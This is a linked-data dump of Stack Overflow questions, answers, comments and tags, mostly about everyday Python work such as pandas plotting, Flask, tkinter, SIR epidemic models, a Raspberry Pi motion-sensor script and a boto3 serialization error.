has body: I have a dataframe as the following: state year SUR index 0 Aguascalientes 1997 1.116118 1 Aguascalientes 1998 1.129570 2 Aguascalientes 1999 1.129570 3 Aguascalientes 2000 1.129570 4 Aguascalientes 2001 1.340662 with 32 different states. I need to plot how has the sur index has evolved over the years and therefore I need 32 different graphs in a single jpg with 4 grafs per row and a total of 8 rows. What I tried: def plotting(df): pp = PdfPages('multipage.pdf') for estado in df['state'].unique(): plt.plot(df['year'].unique(),df['SUR index'][df['state']==estado],"b") plt.ylabel('Sur index') plt.xlabel('Año') plt.title(estado) plt.savefig(pp, format='pdf') plt.figure() pp.close() However, the first states gets all the data from other states and I have 32 different lines in that one. Also, I haven't found a way to have it in the 8*4 way I need it to be.
has answer: http://stackoverflow.com/a/47257508
accepted answer: http://stackoverflow.com/a/47257508
tagged with: dataframe
tagged with: python
type: Question
answer count: 1
has title: Multiple subplots of a dataframe into a single jpg - Python
tagged with: plot
type: AnsweredQuestion

http://stackoverflow.com/comment/81552504
type: Comment
score: 0
type: AnswerComment
has text: If you don't want to print the non-matching lines, you will have to add an `if` statement accordingly. Also, what version of python are you using? Looked like you are using python3, and `match.string` works fine on python 3.4.7. I just tried it, and it works fine on python 2.7.13 as well.
comment on: http://stackoverflow.com/a/47300610

http://stackoverflow.com/comment/82480753
has text: You put your Redirect URI for the Client ID and Client secret. Adjust those values
type: Comment
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/47379411

http://stackoverflow.com/a/47306971
has comment: http://stackoverflow.com/comment/81564659
score: 0
has comment: http://stackoverflow.com/comment/81564390
has comment: http://stackoverflow.com/comment/81564625
has comment: http://stackoverflow.com/comment/81564122
has comment: http://stackoverflow.com/comment/81565742
has body: Hmm weird But you could do: sys.argv[1].lstrip().strip() # Will remove any spaces to left / right of the string.
answers question: http://stackoverflow.com/q/47306920
type: Answer

http://stackoverflow.com/a/64485149
has body: Not enough reputation to comment, but building on @cs95's answer and @lmiguelvargasf's comment, one can preserve dtypes with: pd.DataFrame( df.values.repeat(df.persons, axis=0), columns=df.columns, ).astype(df.dtypes)
type: Answer
score: 4
answers question: http://stackoverflow.com/q/47336704
upvote count: 4
downvote count: 0

http://stackoverflow.com/a/47274303
has body: I would store these variables in a list: self.checkboxAnswers = [checkBox_Answer1,etc...] self.checkboxAnswers[A].clear() You can access these variables in the list by using A. Note that lists start at index 0, so you'll have to increment A by one.
score: 0
upvote count: 1
downvote count: 1
answers question: http://stackoverflow.com/q/47274240
type: Answer

http://stackoverflow.com/comment/81712218
comment on: http://stackoverflow.com/a/47378472
has text: I tried and I don't get your solution. With the pattern you wrote, I get the following : ['Le', 'télétravail', 'n', '’aura', 'pas', 'd', '’effet', 'sur', 'ma', 'charge', 'de', 'travail', '.'] The apostrophy is attached to the second word instead of the first (for "n'aura" and "d'effet").
type: AnswerComment
score: 0
type: Comment

http://stackoverflow.com/comment/82175202
comment on: http://stackoverflow.com/a/47237474
score: 0
type: Comment
has text: I tried it Patrick but it says I am not high levelled enough to mark peoples answers.
type: AnswerComment

http://stackoverflow.com/a/47347929
answers question: http://stackoverflow.com/q/47347746
has body: Have a look at this library : You could loop all services through services.list() and rm them with service.remove()
type: Answer
score: 0

http://stackoverflow.com/comment/81486845
has text: My personal opinion is that you should explicitly say that you want the output in the form of a list, rather than making readers scrutinize your actual and desired outputs to see what the difference is. I could just be unobservant, but it took me a few readings to see it.
comment on: http://stackoverflow.com/q/47267849
type: Comment
score: 0
type: QuestionComment

audio
tags question: http://stackoverflow.com/q/47333277
tags question: http://stackoverflow.com/q/47276151
tags question: http://stackoverflow.com/q/47381509
tags question: http://stackoverflow.com/q/47322389
tags question: http://stackoverflow.com/q/47327549
type: Tag
tags question: http://stackoverflow.com/q/47277410
tag name: audio

http://stackoverflow.com/a/47379451
score: 1
upvote count: 1
accepted answer of: http://stackoverflow.com/q/47379180
type: AcceptedAnswer
has body: import flask from flask import jsonify from flask import make_response app = flask.Flask(__name__) purchases = [ { "transactions": [ { "items": [ { "name": "My Item:", "price": 15.99 } ], "name": "My Wonderful Store" }, { "time": [ { "hour bought": "02:00" }, ] } ] } ] # GET / @app.route("/") # shows your whole list def get_purchases(): response = make_response(jsonify(purchases)) response.headers["customHeader"] = "custom value" return response Your purchases is a list, not a dict. You cannot access "item" in a dict-way
answers question: http://stackoverflow.com/q/47379180
type: Answer
has comment: http://stackoverflow.com/comment/81845539
downvote count: 0

http://stackoverflow.com/q/47224930
answer count: 1
linked to: http://stackoverflow.com/q/28517937
downvote count: 0
upvote count: 1
favorite count: 0
type: Question
has body: While importing pandas I am getting below error: &gt;&gt;&gt; import pandas as pd **RuntimeError: module compiled against API version 6 but this version of numpy is 4** numpy.core.multiarray failed to import Traceback (most recent call last): File "&lt;stdin&gt;", line 1, in &lt;module&gt; File "/usr/lib64/python2.6/site-packages/pandas/__init__.py", line 6, in &lt;module&gt; from . import hashtable, tslib, lib ImportError: numpy.core.multiarray failed to import Tried to upgrade numpy module to the latest version. Getting below message: [abc]# yum install numpy Loaded plugins: fastestmirror, refresh-packagekit, security Setting up Install Process Loading mirror speeds from cached hostfile * base: centos.excellmedia.net * extras: centos.excellmedia.net * updates: centos.excellmedia.net **Package numpy-1.4.1-9.el6.x86_64 already installed and latest version** Is there any manual work around to resolve this problem?
tagged with: linux
tagged with: pandas
score: 1
has comment: http://stackoverflow.com/comment/81400618
tagged with: python
has comment: http://stackoverflow.com/comment/81399995
tagged with: centos6
has title: Unable to import pandas on CentOS machine
has answer: http://stackoverflow.com/a/47225525
type: UnansweredQuestion

http://stackoverflow.com/q/47321080
has comment: http://stackoverflow.com/comment/81761464
tagged with: jupyter-notebook
type: Question
score: 0
has answer: http://stackoverflow.com/a/52696420
type: UnansweredQuestion
has body: I created a new environment in Anaconda, and got the error while starting Jupyter. Can anybody help? Jupyter Notebook Launch Error: _update_save_script() takes 1 positional argument but 2 were given
answer count: 1
tagged with: python
has comment: http://stackoverflow.com/comment/81593267
tagged with: anaconda
has title: Jupyter Notebook Launch Error: _update_save_script() takes 1 positional argument but 2 were given

http://stackoverflow.com/comment/81399995
comment on: http://stackoverflow.com/q/47224930
score: 0
has text: Please familiarize yourself with how to format text snippets/code in your question. It will make it a lot easier for anyone who is trying to help to read and see what is going on.
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/81545659
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/47296250
score: 0
has text: @user8941770 Could you edit your answer to show the actual contents of `user_DB.txt`? Then we could run your code ourselves. If it's printing nothing then that means your code IS finding a line where `information[0] == 'dj'` but there is nothing for the `information[5]` value (because if it couldn't find the `information[0] == 'dj'` then it would print `'Failed to find user.'`

http://stackoverflow.com/comment/81635324
score: 0
has text: Thank you! I changed my network following your advise and it works, the 4 points is very useful for me, thanks for your answer again. I will read the two articles.
type: Comment
comment on: http://stackoverflow.com/a/47333981
type: AnswerComment

http://stackoverflow.com/comment/81603850
comment on: http://stackoverflow.com/a/47326539
has text: Because i have to read an sql file that have this type of sql request
type: Comment
score: 0
type: AnswerComment

http://stackoverflow.com/comment/81487763
comment on: http://stackoverflow.com/q/47267685
type: Comment
score: 0
type: QuestionComment
has text: I only used virtualenv when I installed flask on my google cloud virtual instance. __init__.py contains the code above and I just hit python __init__.py and always restart the server when I change something.

http://stackoverflow.com/a/47309497
has comment: http://stackoverflow.com/comment/81587334
type: Answer
has comment: http://stackoverflow.com/comment/81588330
answers question: http://stackoverflow.com/q/47308864
has comment: http://stackoverflow.com/comment/81588361
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/81587609
score: 0
has body: You shouldn't do this as it has no benefits and is confusing. def my_function(Pi, i): if i == 0: # First iteration, Create the Series Pi = pd.Series(0, index=[some_index]) Pi = Pi.add(some_value[i], fill_value=0) return Pi Pi=None for i in range(0, 10): Pi = my_function(Pi, i) Perhaps a class is what you want: class PiSeries: def __init__(self, some_index): self.Pi = pd.Series(0, index=[some_index]) def my_function(self, i): self.Pi = self.Pi.add(some_value[i], fill_value=0) def create_series(self, start, end): for i in range(start, end): self.my_function(i) return self.Pi PiSeries(index=some_index).create_series(start=0, end=10)
accepted answer of: http://stackoverflow.com/q/47308864

http://stackoverflow.com/a/47242289
type: Answer
has comment: http://stackoverflow.com/comment/81487073
accepted answer of: http://stackoverflow.com/q/47241943
has comment: http://stackoverflow.com/comment/81447451
score: 0
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/47241943
has body: You must add Kaskade to vbox in Tab 1, not the layout. In addition we must do self.hbox layout of Kaskade: class Kaskade(QtGui.QWidget): [...] def hbox_gen(self): [...] self.hbox = QtGui.QHBoxLayout(self) [...] class tabdemo(QtGui.QTabWidget): [...] def tab1UI(self): [...] vbox = QtGui.QVBoxLayout() vbox.addWidget(K1) vbox.addWidget(K2) vbox.addWidget(K3) self.tab1.setLayout(vbox) [...]
has comment: http://stackoverflow.com/comment/81447609
has comment: http://stackoverflow.com/comment/81450359

http://stackoverflow.com/a/47321553
has comment: http://stackoverflow.com/comment/81594137
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/47321436
has comment: http://stackoverflow.com/comment/81594151
score: 0
type: Answer
has body: understand why this function returns forenames surnames instead of names Well... return forenames, surnames is why it does. And the formatting at the bottom requires two separate lists. (And return names would actually return surnames) The loop is doing tuple-unpacking. Each iteration, you unpack one tuple and assign names, filename. Since the names is a list reference, names.append() will operate the same as forenames.append(), or surnames.append() depending on the iteration. FWIW, you could rewrite the first function to use two explicit loops per file. def get_forenames_and_surnames(): forenames = [line.rstrip() for line in open("/home/mmelv/eclipse-workspace/py30eg/data/forenames.txt", encoding="utf8")] surnames = [line.rstrip() for line in open("/home/mmelv/eclipse-workspace/py30eg/data/surnames.txt", encoding="utf8")] return forenames, surnames If you wanted to use one list, take a look at the zip() function.
accepted answer of: http://stackoverflow.com/q/47321436

http://stackoverflow.com/q/47366712
has body: I have created some very basic implementations of the mentioned models. However, although graphs seem to look right, the numbers don't add up to a constant. That is for the sum of susceptible/infected/recovered people in each compartment should add up to N (which is total number of people), but it doesn't, for some reason it adds up to some bizarre decimal numbers, and I really don't know how to fix it, after looking at it for 3 days now. The SI Model: import matplotlib.pyplot as plt N = 1000000 S = N - 1 I = 1 beta = 0.6 sus = [] # infected compartment inf = [] # susceptible compartment prob = [] # probability of infection at time t def infection(S, I, N): t = 0 while (t &lt; 100): S = S - beta * ((S * I / N)) I = I + beta * ((S * I) / N) p = beta * (I / N) sus.append(S) inf.append(I) prob.append(p) t = t + 1 infection(S, I, N) figure = plt.figure() figure.canvas.set_window_title('SI model') figure.add_subplot(211) inf_line, =plt.plot(inf, label='I(t)') sus_line, = plt.plot(sus, label='S(t)') plt.legend(handles=[inf_line, sus_line]) plt.ticklabel_format(style='sci', axis='y', scilimits=(0,0)) # use scientific notation ax = figure.add_subplot(212) prob_line = plt.plot(prob, label='p(t)') plt.legend(handles=prob_line) type(ax) # matplotlib.axes._subplots.AxesSubplot # manipulate vals = ax.get_yticks() ax.set_yticklabels(['{:3.2f}%'.format(x*100) for x in vals]) plt.xlabel('T') plt.ylabel('p') plt.show() SIS Model: import matplotlib.pylab as plt N = 1000000 S = N - 1 I = 1 beta = 0.3 gamma = 0.1 sus = \[\] inf = \[\] def infection(S, I, N): for t in range (0, 1000): S = S - (beta*S*I/N) + gamma * I I = I + (beta*S*I/N) - gamma * I sus.append(S) inf.append(I) infection(S, I, N) figure = plt.figure() figure.canvas.set_window_title('SIS model') inf_line, =plt.plot(inf, label='I(t)') sus_line, = plt.plot(sus, label='S(t)') plt.legend(handles=\[inf_line, sus_line\]) plt.ticklabel_format(style='sci', axis='y', scilimits=(0,0)) plt.xlabel('T') plt.ylabel('N') plt.show() SIR …
tagged with: math
has title: Correct implementation of SI, SIS, SIR models (python)
tagged with: python
upvote count: 4
answer count: 2
accepted answer: http://stackoverflow.com/a/47366883
has answer: http://stackoverflow.com/a/47366883
downvote count: 0
score: 4
favorite count: 0
type: Question
possible better answer: http://stackoverflow.com/a/47369471
type: AnsweredQuestion
tagged with: modeling
has answer: http://stackoverflow.com/a/47369471

http://stackoverflow.com/q/47311847
accepted answer: http://stackoverflow.com/a/47311965
has body: I have a simple flask app, where I use virtualenv for managing my dependencies. However, I would like to separate my dependencies. For testing I use Flask-Testing, but this is a dependency I wouldn't want to include in my production environment. How can separate my dependencies, so that I have separate dependencies for development and for production?
favorite count: 0
score: 9
type: Question
possible better answer: http://stackoverflow.com/a/65908367
upvote count: 9
tagged with: python
has title: Separating development and production dependencies with virtualenv
has answer: http://stackoverflow.com/a/47311965
has comment: http://stackoverflow.com/comment/81574525
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/65908367
answer count: 2
linked to: http://stackoverflow.com/q/17803829
has comment: http://stackoverflow.com/comment/81574549
downvote count: 0
tagged with: virtualenv

http://stackoverflow.com/q/47336526
downvote count: 0
favorite count: 0
type: Question
tagged with: python-itertools
has answer: http://stackoverflow.com/a/47336689
has title: pythonic way: Iterator chaining and resource management
tagged with: python
has body: I find it difficult to articulate smoothly chained iterators and resource management in Python. It will probably be clearer by examining a concrete example: I have this little program that works on a bunch of similar, yet different csv files. As they are shared with other co-workers, I need to open and close them frequently. Moreover, I need to transform and filter their content. So I have a lot of different fonctions of this kind: def doSomething(fpath): with open(fpath) as fh: r=csv.reader(fh, delimiter=';') s=imap(lambda row: fn(row), r) t=ifilter(lambda row: test(row), s) for row in t: doTheThing(row) That's nice and readable, but, as I said, I have a lot of those and I end up copy-pasting a lot more than I'd wish. But of course I can't refactor the common code into a function returning an iterator: def iteratorOver(fpath): with open(fpath) as fh: r=csv.reader(fh, delimiter=';') return r #oops! fh is closed by the time I use it A first step to refactor the code would be to create another 'with-enabled' class: def openCsv(fpath): class CsvManager(object): def __init__(self, fpath): self.fh=open(fpath) def __enter__(self): return csv.reader(self.fh, delimiter=';') def __exit__(self, type, value, traceback): self.fh.close() and then: with openCsv('a_path') as r: s=imap(lambda row: fn(row), r) t=ifilter(lambda row: test(row), s) for row in t: doTheThing(row) But I only reduced the boilerplate of each function by one step. So what is the pythonic way to refactor such a code? My c++ background is getting in the way I think.
has comment: http://stackoverflow.com/comment/81624976
type: AnsweredQuestion
tagged with: python-2.7
upvote count: 1
score: 1
accepted answer: http://stackoverflow.com/a/47336689
answer count: 1

http://stackoverflow.com/q/47241636
answer count: 2
has comment: http://stackoverflow.com/comment/81433802
score: 1
downvote count: 0
upvote count: 1
tagged with: namespaces
favorite count: 0
type: Question
linked to: http://stackoverflow.com/q/9097994
linked to: http://stackoverflow.com/q/13608919
type: UnansweredQuestion
has body: How can I avoid lines like: this_long_variable_name = this_long_variable_name.replace('a', 'b') I thought I could avoid it by making a function, repl, def repl(myfind, myreplace, s): s = s.replace(myfind, myreplace) print(s) # for testing purposes return s but because of stuff about the local vs. global namespaces that I don't understand, I can't get the function to return a changed value for this_long_variable_name. Here's what I've tried: this_long_variable_name = 'abbbc' repl('b', 'x', this_long_variable_name) print('after call to repl, this_long_variable_name =', this_long_variable_name) The internal print statement shows the expected: axxxc The print statement after the call to repl show the unchanged: abbbbc Of course, it works if I give up and accept the redundant typing: this_long_variable_name = repl('b', 'x', this_long_variable_name) BTW, it's not just about the length of what has to be retyped, even if the variable's name were 'a,' I would not like retyping a = a.replace(...) Since in the function s is a parameter, I can't do: global s I even tried: this_long_variable_name.repl('b', 'x') which shows you both how little I understand and how desperate I am.
has comment: http://stackoverflow.com/comment/81433806
tagged with: python
has title: How can I avoid retyping long variable names in calling functions
has answer: http://stackoverflow.com/a/47241710
has answer: http://stackoverflow.com/a/47241711
has comment: http://stackoverflow.com/comment/81433781

http://stackoverflow.com/comment/81716113
has text: I added a method you could still use to print help if you wanted. Could you post more code of where you're calling args.accumulate?
comment on: http://stackoverflow.com/a/47381635
type: AnswerComment
score: 0
type: Comment

http://stackoverflow.com/comment/81637689
comment on: http://stackoverflow.com/q/47342645
type: QuestionComment
has text: I believe that in Python2, you can replace your print statement with `print " " + str(array[i]),` The ending comma in python2 is just like the `end=" "` in python3.
score: 0
type: Comment

http://stackoverflow.com/comment/81416660
type: QuestionComment
type: Comment
score: 0
comment on: http://stackoverflow.com/q/47232624
has text: @juanpa.arrivillaga your suggestion worked... I'm puzzled!

http://stackoverflow.com/comment/81420371
score: 0
comment on: http://stackoverflow.com/q/47234525
type: Comment
type: QuestionComment
has text: Why don't you just do a `json.dumps(payload)` and create a `sha512` of that and add it into the header fields and simply do a `request.post(url, data=payload, headers=headers)`. This will make your life easier

http://stackoverflow.com/a/47311633
upvote count: 1
type: Answer
has body: You are running out of memory. So your solution works up to 540995 which is relatively small number compare to 600851475143. Remember you are doing a nested loop so your algorithm's runtime is O(n)^2. In another word your loops are running for a very big number of times. you can find more about algorithmic complexity here. That being said here how I would approach the problem n = 600851475143 i = 2 while i * i &lt; n: while n % i == 0: n = n / i i = i + 1 print n hope that helps and good luck :)
downvote count: 0
answers question: http://stackoverflow.com/q/47311097
score: 1

http://stackoverflow.com/a/47316220
upvote count: 1
answers question: http://stackoverflow.com/q/47315573
score: 1
type: Answer
has body: You can use zip and slicing to pair consecutive elements of a list: import itertools diff_less_than_10 = ((a - b &lt; 10) for a, b in zip(list_of_values[1:], list_of_values)) end = 1 + sum(itertools.takewhile(bool, diff_less_than_10)) groups = divide(list_of_values[:end], size)
downvote count: 0

http://stackoverflow.com/comment/81543479
has text: It's just another way to write it
score: 0
comment on: http://stackoverflow.com/q/47296071
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/81581906
type: Comment
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/47315430
has text: @TIC-FLY Well, you compare them: For example `if max3[1] == max3[2]:` Then the second and third largest are the same, so you would requirer a tie-breaker.

http://stackoverflow.com/comment/81528865
type: AnswerComment
score: 0
type: Comment
has text: @ThomasDickey Yeah, In main thread I start curses, then I start other threads. Those one send data via events to their curses windows.
comment on: http://stackoverflow.com/a/47230313

http://stackoverflow.com/comment/81635158
score: 0
has text: is this your full source?
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47341414

http://stackoverflow.com/comment/81720597
has text: Oh, I thought you weren't allowed to use `index` and really had to loop. That's a good solution then. You could use `elif` instead of the second `if`, or `else` if you don't want to be explicit, or even just in one line: `print(numbers.index(N) if N in numbers else -1)`. A different approach would be to use a `try/except` block instead of the two `if`s.
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/47383475
score: 0

http://stackoverflow.com/q/47365339
has answer: http://stackoverflow.com/a/47367143
score: 0
tagged with: authentication
has title: python two step login
answer count: 1
type: Question
linked to: http://stackoverflow.com/q/8316818
tagged with: python
type: UnansweredQuestion
has body: I want to download files from an dashboard environment in a python script and manipulate the data in the files. The dashboard environment needs me to login twice. I first need to login into a corporate account and then into a personal account. I can login into the corporate account, but then the login into my personal account fails while I do provide the correct credentials. This is the script I'm trying to use. The stuff between the stars is changed for privacy reasons: import csv import requests URL_Login = '*baseurl of the dashboard*' CSV_URL = '*baseurl of the dashboard*/auto/reports/responses/?sheet=1528&amp;item=4231&amp;format=csv' with requests.Session() as s: download = s.get(URL_Login, auth=("*corporate account name*", "*corporate password*")) download = s.get(CSV_URL, auth=("*personal account name*", "*personal password*")) decoded_content = download.content.decode('utf-8') cr = csv.reader(decoded_content.splitlines(), delimiter=',') my_list = list(cr) for row in my_list: print(row) I get the following error message: 401 - Unauthorized: Access is denied due to invalid credentials. You do not have permission to view this directory or page using the credentials that you supplied. Can anything else trigger the 401, because I am very sure I'm providing the correct credentials?

pipeline
type: Tag
tags question: http://stackoverflow.com/q/47270934
tag name: pipeline

http://stackoverflow.com/comment/81496286
comment on: http://stackoverflow.com/q/47272433
score: 0
has text: @Barmar I know, it's in use at the start to convert the current time (I think that you're referring to that module?), but for some odd reason, I, at three AM, found this easier.
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/81517259
score: 2
has text: You're not "removing quotation marks", you're converting a string into a string and a number. You can't remove quotation marks from this string because it doesn't contain any.
comment on: http://stackoverflow.com/q/47283574
type: Comment
type: QuestionComment

tf-idf
tags question: http://stackoverflow.com/q/47353341
tag name: tf-idf
tags question: http://stackoverflow.com/q/47321135
tags question: http://stackoverflow.com/q/47298491
tags question: http://stackoverflow.com/q/47289658
type: Tag
tags question: http://stackoverflow.com/q/47300015
tags question: http://stackoverflow.com/q/47234130

http://stackoverflow.com/a/47338717
has body: Pandas doesn't map every object in the JSON file to a column in the dataframe. Your example file contains 24 columns: with open('tweets.json') as f: df = pd.read_json(f, lines = True) df.columns Returns: Index(['contributors', 'coordinates', 'created_at', 'entities', 'favorite_count', 'favorited', 'geo', 'id', 'id_str', 'in_reply_to_screen_name', 'in_reply_to_status_id', 'in_reply_to_status_id_str', 'in_reply_to_user_id', 'in_reply_to_user_id_str', 'is_quote_status', 'lang', 'metadata', 'place', 'retweet_count', 'retweeted', 'source', 'text', 'truncated', 'user'], dtype='object') To dig deeper into the JSON data, I found this solution, but I hope a more elegant approach exists: How do I access embedded json objects in a Pandas DataFrame? For example, df['entities'].apply(pd.Series)['urls'].apply(pd.Series)[0].apply(pd.Series)['indices'][0][0] returns 117. To access full_name and copy it to the df, try this: df['full_name'] = df['place'].apply(pd.Series)['full_name'], which returns 0 Austin, TX.
accepted answer of: http://stackoverflow.com/q/47334968
downvote count: 0
type: Answer
has comment: http://stackoverflow.com/comment/81653551
has comment: http://stackoverflow.com/comment/81653154
has comment: http://stackoverflow.com/comment/81654117
score: 1
type: AcceptedAnswer
upvote count: 1
answers question: http://stackoverflow.com/q/47334968
has comment: http://stackoverflow.com/comment/81666208

http://stackoverflow.com/comment/81499297
has text: You can use temporary values to hold the error and coefficient of the current run and make comparisons with the previous values.
comment on: http://stackoverflow.com/q/47274001
type: Comment
type: QuestionComment
score: 0

http://stackoverflow.com/a/47356104
downvote count: 0
upvote count: 1
accepted answer of: http://stackoverflow.com/q/47355238
score: 1
type: Answer
answers question: http://stackoverflow.com/q/47355238
has body: You can put this root.attributes("-topmost", True) under that root.bind. @StevoMitric that solved my question.
type: AcceptedAnswer

http://stackoverflow.com/comment/81439657
type: Comment
score: 0
type: AnswerComment
has text: thanks for replying, but seems it still is the same
comment on: http://stackoverflow.com/a/47244630

http://stackoverflow.com/comment/81603282
type: Comment
type: AnswerComment
has text: Thank you for the fast answer. I see the "response" object is quite large. So If I understand correctly, the returned data is located there?
comment on: http://stackoverflow.com/a/47326031
score: 0

http://stackoverflow.com/a/47309777
score: 2
type: AcceptedAnswer
downvote count: 0
answers question: http://stackoverflow.com/q/47309621
type: Answer
has body: Yes, there is. The easy way to save two or more items is a dictionary. A dictionary has a key an a value, so following your example, you could build the dictonary like this: age = dict() # or {} age['Terry'] = 23 age['Bob'] = 42 age['Alice'] = 32 print age {'Terry': 23, 'Bob': 42, 'Alice': 32} You should be familiar with python dictionarys, so you could check this link. If, for example, you want to save the address, the phone number, etc. You could use a class instead.
upvote count: 2
accepted answer of: http://stackoverflow.com/q/47309621

http://stackoverflow.com/q/47276398
duplicate of: http://stackoverflow.com/q/45621722
has comment: http://stackoverflow.com/comment/81503983
tagged with: python-2.7
has body: #!/usr/bin/python # Import der Python libraries import RPi.GPIO as GPIO import time import datetime import subprocess # Verwendung des Board Mode, Angabe der PIN Nummern anstelle der GPIO BCM Nummer GPIO.setmode(GPIO.BOARD) # GPIO definieren, bei mir ist es PIN 8 GPIO_PIR = 8 # GPIO als "Input" festlegen GPIO.setup(GPIO_PIR,GPIO.IN) Current_State = 0 Previous_State = 0 try: # erst mal schlafen bis der bootvorgang abgeschlossen ist time.sleep(60) # Warten bis Sensor sich meldet while GPIO.input(GPIO_PIR)==1: Current_State = 0 subprocess.Popen('echo initilized PIR | wall', shell=True) # Schleife bis CTRL+C while True : #Status von Sensor auslesen Current_State = GPIO.input(GPIO_PIR) if Current_State==1 and Previous_State==0: # Kommando zum anschalten, Frambuffer erneuern subprocess.Popen('echo Monitor on | wall', shell=True) subprocess.Popen('/opt/vc/bin/tvservice -p', shell=True) subprocess.Popen('fbset -depth 8', shell=True) subprocess.Popen('fbset -depth 16', shell=True) subprocess.Popen('sudo /bin/chvt 6 &amp;&amp; sudo /bin/chvt 7', shell=True) Previous_State=1 elif Current_State==0 and Previous_State==1: # Ausschalten des Monitors subprocess.Popen('echo Monitor off | wall', shell=True) subprocess.Popen('/opt/vc/bin/tvservice -o', shell=True) Previous_State=0 # 5 Sek Warten time.sleep(5) except KeyboardInterrupt: print " Exit" GPIO.cleanup() Hello, i am getting: File "PIR.py", line 30 time.sleep(60) ^ IndentationError: expected an indented block Can you help me? when i set a tab before "time.sleep" it Comes a Syntax error in the line "while GPIO.input(GPIO_PIR)==1:". I use this script to manage a PIR sensor for the Magic mirror but it wont work. So i wrote in the terminal "python PIR.py". After that i recognize the error, it is logic that the PIR sensor wont work. But I am a noob in python, so I would like to have your help.
answer count: 1
linked to: http://stackoverflow.com/q/19657576
favorite count: 0
has comment: http://stackoverflow.com/comment/81504199
type: Question
has answer: http://stackoverflow.com/a/47277186
upvote count: 0
type: UnansweredQuestion
score: -2
downvote count: 2
tagged with: raspberry-pi3
tagged with: python
has comment: http://stackoverflow.com/comment/81504073
has title: Why am I getting “IndentationError: expected an indented block”?

http://stackoverflow.com/a/47250581
answers question: http://stackoverflow.com/q/47250521
accepted answer of: http://stackoverflow.com/q/47250521
has comment: http://stackoverflow.com/comment/105562392
type: Answer
has comment: http://stackoverflow.com/comment/105450970
score: 0
type: AcceptedAnswer
has body: Windows uses \r\n for line endings, while MAC only uses \n. This is a common problem with text files on MAC and Windows. To solve this, use \r\n as delimiter, e.g. a = [[1349, 1411, 1378, 1434, 1309, 1301, 1295, 1528, 1226, 1332]] np.savetxt("Q1_ans.txt", a, fmt="%d", delimiter="\r\n")

http://stackoverflow.com/comment/81489830
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47269446
has text: I'm using Python 2.7 and I do get `True`. However the interpreter also returns `<type 'instance'>` when I run `type(f1)`.

http://stackoverflow.com/q/47299990
has body: How to convert a string value such as '21.45E02', which has been raised to power to a normal integer?
has title: Convert a string value '21.45E02' to integer in Python
score: 0
has answer: http://stackoverflow.com/a/47300021
type: UnansweredQuestion
answer count: 1
type: Question
tagged with: python

http://stackoverflow.com/a/47335319
has comment: http://stackoverflow.com/comment/81665574
score: 3
upvote count: 3
type: AcceptedAnswer
downvote count: 0
has body: Source JSON (as string): In [325]: print(s) { " features": [ { "geometry": { "type": "Polygon", "coordinates": [] }, "type": "Feature", "properties": { "ADMIN_LEVE": "REGION", "POPULTION": 4363916, "GEO_CENTER": "7.923209152686669, 45.06052300898206", "ID": "01", "NAME": "PIEMONTE" } } ] } Replaced: In [327]: s = s.replace('"ADMIN_LEVE":', '"ADMIN_LEVEL":') In [328]: print(s) { " features": [ { "geometry": { "type": "Polygon", "coordinates": [] }, "type": "Feature", "properties": { "ADMIN_LEVEL": "REGION", "POPULTION": 4363916, "GEO_CENTER": "7.923209152686669, 45.06052300898206", "ID": "01", "NAME": "PIEMONTE" } } ] } UPDATE: helper function: def replace_in_json_file(filename, from_str, to_str): with open(filename) as f: data = f.read() with open(filename, 'w') as f: f.write(data.replace(from_str, to_str))
answers question: http://stackoverflow.com/q/47335255
has comment: http://stackoverflow.com/comment/81622170
has comment: http://stackoverflow.com/comment/81664881
has comment: http://stackoverflow.com/comment/81622109
accepted answer of: http://stackoverflow.com/q/47335255
has comment: http://stackoverflow.com/comment/81664460
type: Answer
has comment: http://stackoverflow.com/comment/81622055
has comment: http://stackoverflow.com/comment/81622081

http://stackoverflow.com/comment/81589456
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47319066
score: 0
has text: So you just randomly decided to use two-leading-underscores? Well, that does something special in Python. I would just avoid it completely if you are new. Also, you are defining two class-level variables (i.e. "static") variables in your class, probably *not* what you want, especially since you *shadow* `Animal.Name` in `nameset`

http://stackoverflow.com/comment/81479685
comment on: http://stackoverflow.com/a/47264077
type: Comment
score: 0
has text: It already is a JSON object that is being returned from the `gmaps` call
type: AnswerComment

http://stackoverflow.com/q/47318357
type: Question
has comment: http://stackoverflow.com/comment/82073497
has comment: http://stackoverflow.com/comment/84532816
score: 1
tagged with: datetime
tagged with: http://stackoverflow.com/tag/json
tagged with: python
answer count: 0
downvote count: 0
upvote count: 1
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/82084662
has comment: http://stackoverflow.com/comment/82083919
has body: Using this code: command = ssm.send_command( InstanceIds=[ 'i-xxxxxxxxxx' ], DocumentName='AWS-RunPowerShellScript', Comment='Restarting Server', Parameters={ "commands":[".\\python.exe C:\\Users\\user\\Desktop\\script.py"], "workingDirectory": ["C:\\Python36"] } ) return command I am receiving this error in my AWS Lambda function: An error occurred during JSON serialization of response: datetime.datetime(2017, 11, 16, 0, 16, 2, 314000, tzinfo=tzlocal()) is not JSON serializable Traceback (most recent call last): File "/var/lang/lib/python3.6/json/__init__.py", line 238, in dumps **kw).encode(obj) File "/var/lang/lib/python3.6/json/encoder.py", line 199, in encode chunks = self.iterencode(o, _one_shot=True) File "/var/lang/lib/python3.6/json/encoder.py", line 257, in iterencode return _iterencode(o, 0) File "/var/runtime/awslambda/bootstrap.py", line 110, in decimal_serializer raise TypeError(repr(o) + " is not JSON serializable") TypeError: datetime.datetime(2017, 11, 16, 0, 16, 2, 314000, tzinfo=tzlocal()) is not JSON serializable This doesn't make any sense to me because I'm not using any method that has to do with datetime.datetime. That command variable I guess has JSON in it but I'm not sure why it appears to be using datetime.
tagged with: boto3
has comment: http://stackoverflow.com/comment/85250355
tagged with: amazon-web-services
has title: Lambda Function using ssm.send_command from boto3 library- getting error "datetime.datetimeis not JSON serializable"
favorite count: 0

